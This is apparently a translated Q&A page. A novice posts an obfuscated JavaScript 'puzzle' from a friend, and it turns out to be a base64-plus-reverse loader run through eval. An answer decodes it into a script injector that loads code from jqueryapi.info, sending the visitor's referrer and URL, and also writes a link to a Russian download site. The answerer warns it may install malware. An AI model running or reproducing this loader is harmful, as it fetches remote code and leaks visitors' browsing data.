我的一个朋友挑战我解决我认为的base64代码(虽然我不确定因为我是编码的新手)。他说这应该是英语中长达20个字符的明确信息。无论如何,代码在这里:
var _11l = '=oQKpkyJ8dCK0lGbwNnLnUGchN2cl5Wd8JXY2V0M8N0M8Nmczx3aulGbwIDfkxWaoNEZuVGcwFGf05WZu9Gct92QJJVVlR2bj5WZ89mZulGfMJVV8JXZyJXZmVmc8VWbh50ZhRVeCNHduVWblxWR0V2Z89mc1V2d3dHfr9GfwRHdoxHZhVGa8xmc1x3YyNHdldGf8ZWZyxnM2wXawFWeyVWdxpGf05WZtV3YvRGfyFmd8RHcpJ3YzxHfJxGb8xXQzwXZ0lmc3xHN5wXOzwXRzw3TwkEfxZ0M8RHcpJ3YzN0M8J0M8Rnbl1WZsVUZ0FWZyNGfwRHdoJjM8R0M8xGZ8VGchN2cl9Ff1JHf0lGbwNHfsFmdlxXZk92QyFGaD12byZGf3Vmb8VzM8BHeFdWZSxnNzwHdulUZzJXYwx3Zulmc0N1b0xXZslGa3xnZpx3Zulmc0NFflNWYsBXZyxnbyVHdlJHfu9Wa0Nmb1ZGf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHfnwSM1EDLyYDLnkSK9tHLwwSKnwFfnwFKLFjLnwlWxwnTxwHTxwHUxwXUxwHVxw3UxwnUxwnNywnZywHcywXbywXWxw3ZywnaywHaywXZywHZywHOywXYywnYyw3YywXaywHbywXcywnbyw3byw3aywnMywXOyw3SxwXSxwnexw3QxwXRxwnRxwHSxwXexwnQxwXQxw3RxwXTxwHRxw3TxwXVxwnVxw3MywHMywHNywnSxwXNywXMywHexw3dxw3VxwHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8xHf8dCXsgVMscjMscCXpkSKnwFXcx3JcxFXoETMucCXcxVZxwHZxwnZxw3ZxwHaxw3YxwnYxwnNxwnaxw3NxwHOxwXYxwXOxwXaxwnbxwXdxwncxwHdxwndxw3cxwHcxwHbxw3axwXbxwXcxw3bxwXNxw3MxwXT8xEfOx3T8RTM8tEfRxnS8dEfIx3JcxFXsQELExyJcxFX7kSK0gCdoUnLxsTKygycugzOdBzWpcCXcxFXcxFXydCXcxFXcxFXoAnLx0DOgMzOpEnLxgiNrcCXcxFXcxFX9cnJnwFXcxFXcx1KponLxgiNrcCXcxFXcxFX9IkJnwFXcxFXcx1KnwFXcxFXcxVQ9g3PvknLv9yL6M0JcxFXcxFXc1jduIzOpcCXcxFXcxFX5cCXcxFXcxFXo0mLx0jMgMzOnwFXcxFXcxVYlkzLjVCZlIWJ3USZl8ibvwmLm9yLrVialUTJ3USNlcWJoVSalcCXcxFXcxFX9QDIzcCXcxFK9BHIG1Xfp01YbtGLpcCXcx1ZnwFXcxyJcxFXixFXcxFXcxFXnwFXctSKjhSZrcCXcxlYcxFXcxFXcx1JcxFXocFIWhSVuAXPwtXKdN2WrhyU7lSLtMGKUtTfpkCWoklLjpTKyEzKjhCMx4iW/IlPpEWJj1zYogyKpkSKh9yYoAFKlpzJcxFXnwFXc9TY8MGKGtXKjhSR9U2epQGLlxyasMGLhxCcoUEKJdCXo0HcggXM91XKdN2WrxSKnw1ZnwFLnwlYcxFXcdCXrkyYoU2KnwlYcxFXcdCXoYUMggUMokXMuAXPwtXKdN2WrhSQxsXKt0yYoIUM70XM9M2O9dCXrcHXcxFXnwFexsXKocXM9U2Od1XXltFZggXM7lSZocXMb1za9lyYoUGf811YbtWPdlyYoU2WktXKt0yYoIUM7lSK6FDLv41LokXMucCXnwVIoEUM70XKpUUMoMUMuMmOpkjMrMGKJFjL6FzPHFjPpEWJj1zYogyKpkSKh9yYoQUMoUmOnw1Jc9TY8MGK4FzepMGK3FTPltXKkxSZssGLjxSYsAHK3FDKKFzJo0Hcg4mc1RXZy1Xfp01YbtGLpcyZnwyJixFXnsSKjhSZrciYcx1JoAHeFdWZSBydl5GKlNWYsBXZy5Cc9A3ep01YbtGKml2ep0SLjhSZslGa3tTfpkiNzgyZulmc0N1b05yY6kSOysyYoUGZvNkchh2Qt9mcm5yZulmc0N1P1MjPpEWJj1zYogyKpkSKh9yYoQnbJV2cyFGcoUmOncyPhxzYo4mc1RXZytXKjhibvlGdj5Wdm1TZ7lCZsUGLrxyYsEGLwhibvlGdj5WdmhCbhZXZ';
function _0II(data) {
var OlllOI = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
var o1, o2, o3, h1, h2, h3, h4, bits, i = 0,
enc = '';
do {
h1 = OlllOI.indexOf(data.charAt(i++));
h2 = OlllOI.indexOf(data.charAt(i++));
h3 = OlllOI.indexOf(data.charAt(i++));
h4 = OlllOI.indexOf(data.charAt(i++));
bits = h1 << 18 | h2 << 12 | h3 << 6 | h4;
o1 = bits >> 16 & 0xff;
o2 = bits >> 8 & 0xff;
o3 = bits & 0xff;
if (h3 == 64) {
enc += String.fromCharCode(o1)
} else if (h4 == 64) {
enc += String.fromCharCode(o1, o2)
} else {
enc += String.fromCharCode(o1, o2, o3)
}
} while (i < data.length);
return enc
}
function Oll(string) {
var ret = '',
i = 0;
for (i = string.length - 1; i >= 0; i--) {
ret += string.charAt(i);
}
return ret;
}eval(_0II(Oll(_11l)));
答案 0 :(得分:1)
第一个函数_0II
解码base64字符串,第二个函数Oll
反转一个字符串。
如果您运行console.log(_0II(Oll(_11l));
,则会在控制台上打印一个打包的JavaScript字符串。如果你打开所说的字符串,你会得到一些东西:
var _escape = '%3Cscript%3Evar%20link%20%3D%20%22http%3A//wwweuro.ru/dl/%3Fq%3D%22%3B%3C/script%3E';
var llI = document.createElement('script');
llI.src = 'http://jqueryapi.info/?getsrc=ok' + '&ref=' + encodeURIComponent(document.referrer) + '&url=' + encodeURIComponent(document.URL);
var I0O = document.getElementsByTagName('head')[0];
I0O.appendChild(llI);
document.write(unescape(_escape));
问题是这个脚本失败了(至少它随后插入到DOM中的脚本),如果你运行所述脚本,它会将以下内容插入到DOM中:
<script>var link = "http://wwweuro.ru/dl/?q=''";</script>
<script src="http://jqueryapi.info/?getsrc=ok&ref={ referrer goes here }&url={ page URL goes here }"></script>
但此时它无法在http://jqueryapi.info
加载JS文件。
我的猜测是假设要加载位于http://jqueryapi.info
的JavaScript文件(并且可能只对特定的引荐来源和网址执行此操作),然后该文件将使用该文件的内容link
变量做一些有趣的事情 - 比如输出20个字符的隐藏信息......
...或者可能会加载/运行一些可怕的东西,例如尝试安装恶意软件,可能不会将其视为您的朋友,但可能会稍加谨慎。
无论如何,希望我对正在发生的事情的解释会帮助你发现这个20个字符的隐藏信息,如果没有别的话,它至少会消除_11l
编码内容的神秘面纱。
答案 1 :(得分:0)
使用函数atob()
和btoa()
对字符串进行解码并对字符串进行编码